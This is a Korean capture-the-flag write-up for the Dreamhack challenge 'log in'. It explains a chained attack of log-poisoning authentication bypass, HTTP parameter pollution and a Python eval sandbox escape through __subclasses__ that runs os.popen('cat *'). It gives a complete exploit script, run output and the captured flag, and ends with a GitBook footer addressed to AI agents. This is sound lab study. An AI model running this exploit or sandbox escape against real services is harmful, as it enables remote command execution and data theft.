> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-log-in.md).

# \[Dreamhack] log in

해당 문제는 두 가지 취약점을 연계해 풀어내는 문제입니다.\
로그 포이즈닝을 이용한 인증 우회와 HTTP Parameter pollution, 샌드박스 탈출의 원리가 있습니다. \
\
먼저 app.py 소스 코드를 봅시다.

```
@app.route('/calc', methods=['GET'])
def calc_proxy():
    user = F.get_login_user()
    if user != 'admin':
        return 'Get admin account', 403
    
    text = request.args.get('text')
    allowed_chars = "0123456789+-*/"
    if not all(char in allowed_chars for char in text):
        return 'Do not cheat!!!', 503
    
    try:
        response = requests.get(
            url=f'http://php_app:5000/?{request.query_string.decode()}',
            timeout=10
        )
        
        return str(eval(response.text, {'__builtins__': {}}))
    except:
        return 'PHP 서버 연결 실패', 503
```

&#x20;

* 풀어보시면 /calc 엔드포인트는 계산을 해주는 기능을 가지고 있습니다. 입력값이 숫자가 아니면 치팅하지 말라는 오류를 뱉어주네요.
* 하지만 python으로 구현된 간단한 프론트엔드에서와 php 백엔드 간의 파라미터 처리 방식에 차이가 있다는 점을 이용해볼 수 있는데요, ?text=1\&text='payload' 같은 형태로 text를 두 번 보내버리면 첫번째 값만 가져와서 검사한다는 취약점을 가지고 있습니다.
  * 따라서 해당 엔드포인트에서 eval()을 활용한 악성 페이로드를 실행할 수 있겠네요
  * 그리고 return 부를 보면 \`eval(response.text, {'\_\_builtins\_\_': {}}))\` 와 같이 open, import 등의 내장 함수 사용을 막아둔 것을 확인할 수 있습니다.
  * 이는 이미 로드된 클래스의 상속 관계를 이용해 우회할 수 있습니다.
  * 우선 Manual\_IP 값을 알기 위해 ping 명령어를 사용해줍시다.

```
ping host1.dreamhack.games
```

익스가 엇나가길래..  ping으로 실제 해당 vm의 서버 주소를 구했습니다.\
여기선 139.99.121.66 이라는 값이 나오더군요.&#x20;

```
import socket
import time
import sys
import urllib.request
import urllib.parse
from urllib.error import URLError, HTTPError
from urllib.parse import urlparse

TARGET_URL = "http://host1.dreamhack.games:22731/"

MANUAL_IP = "139.99.121.66" #아까 ping으로 구한 값을 여기 넣어줌

def get_ip_address(host):
    if MANUAL_IP:
        print(f"[*] Using Manual IP configuration: {MANUAL_IP}")
        return MANUAL_IP
    try:
        print(f"[*] Resolving DNS for {host}...")
        result = socket.getaddrinfo(host, None, socket.AF_INET, socket.SOCK_STREAM)
        ip = result[0][4][0]
        print(f"[*] Resolved {host} -> {ip}")
        return ip
    except socket.gaierror as e:
        print(f"[-] DNS Resolution Failed: {e}")
        sys.exit(1)

def send_socket_payload(target_ip, port, host, payload_bytes):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, port))
        sock.sendall(payload_bytes)
        time.sleep(0.5) 
        try:
            sock.recv(4096)
        except socket.timeout:
            pass
        sock.close()
        return True
    except Exception as e:
        print(f"[-] Socket Error: {e}")
        return False

def exploit():
    parsed = urlparse(TARGET_URL)
    host = parsed.hostname
    port = parsed.port if parsed.port else 80

    print(f"[*] Target: {TARGET_URL}")
    target_ip = get_ip_address(host)

    print("\n[*] 1. Attempting Log Poisoning...")

    path_payload = "/%0auser=admin%0a"
    
    payload_path_injection = (
        f"GET {path_payload} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    verify_url = f"http://{target_ip}:{port}/whoami"
    headers = {"Host": host}
    
    try:
        req = urllib.request.Request(verify_url, headers=headers)
        with urllib.request.urlopen(req, timeout=5) as response:
            if "admin" in response.read().decode('utf-8'):
                print("[+] Already authenticated as admin.")
            else:
                print("[*] Sending Path Injection payload...")
                send_socket_payload(target_ip, port, host, payload_path_injection)
                time.sleep(2)
    except Exception:
        pass

    bypass_payload = (
        "([x.__init__.__globals__['__builtins__']['__import__']('os').popen('cat *').read() "
        "for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__ == 'catch_warnings'][0])"
    )

    params = [
        ('text', '1'),
        ('text', bypass_payload) 
    ]
    query_string = urllib.parse.urlencode(params)

    try:
        calc_url = f"http://{target_ip}:{port}/calc?{query_string}"
        req = urllib.request.Request(calc_url, headers=headers)
        
        with urllib.request.urlopen(req, timeout=10) as response:
            result = response.read().decode('utf-8')
            print(f"\n[+] RAW RESULT: {result}")

            if "WaRP{" in result:
                start = result.find("WaRP{")
                end = result.find("}", start) + 1
                print(f"[+] FLAG FOUND: {result[start:end]}")
            
    except HTTPError as e:
        print(f"[-] Exploit Failed. HTTP Error: {e.code}")
        if e.code == 503:
            print("   [-] 503 Error. Trying backup payload (ls -al)...")
            try_backup_payload(target_ip, port, host)
            
    except Exception as e:
        print(f"[-] Error during exploit: {e}")

def try_backup_payload(target_ip, port, host):
    bypass_payload = (
        "([x.__init__.__globals__['__builtins__']['__import__']('os').popen('ls -al').read() "
        "for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__ == 'Flask'][0])"
    )
    params = [('text', '1'), ('text', bypass_payload)]
    query_string = urllib.parse.urlencode(params)
    
    try:
        calc_url = f"http://{target_ip}:{port}/calc?{query_string}"
        req = urllib.request.Request(calc_url, headers={"Host": host})
        with urllib.request.urlopen(req, timeout=10) as response:
             print(f"[+] Backup Payload Result (ls -al): \n{response.read().decode('utf-8')}")
    except Exception as e:
        print(f"[-] Backup payload also failed: {e}")

if __name__ == "__main__":
    exploit()
```

\
1\. `().__class__.__base__.__subclasses__()`: 현재 실행 중인 객체에서 상위 클래스(object)로 올라간 뒤 다시 하위 클래스(subclasses) 목록을 조회합니다.\
\
2\. 이 목록에서 `catch_warnings`나 `Flask`같은 클래스를 찾습니다.\
\
3\. `class.__init__.__globals__`: 해당 클래스가 정의된 전역 범위로 접근합니다.\
\
4\. `['__builtins__']['__import__']('os')`: 전역 범위에는 제한되지 않은 원본 `__builtins__`가 존재하므로, 이를 통해 os 모듈을 불러옵니다.\
\
5\. `.popen('cat *').read()`: 최종적으로 시스템 명령어를 실행하여 플래그를 읽어옵니다.

```
(venv)  cooku222@cooku222s-MacBook-Air  ~  python3 ex.py
[*] Target: http://host1.dreamhack.games:22731/
[*] Using Manual IP configuration: 139.99.121.66

[*] 1. Attempting Log Poisoning...
[+] Already authenticated as admin.

[*] 2. Sending HPP payload to /calc...

[+] RAW RESULT: ...
...
...
WaRP{7JWELCDsp5Eg6rCA6rOgIOyLtuuLpC4=}
```

\
해괴할 정도로 긴 출력이 나오는 것을 확인할 수 있고 플래그를 얻을 수 있습니다.

```
WaRP{7JWELCDsp5Eg6rCA6rOgIOyLtuuLpC4=}
```

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-log-in.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
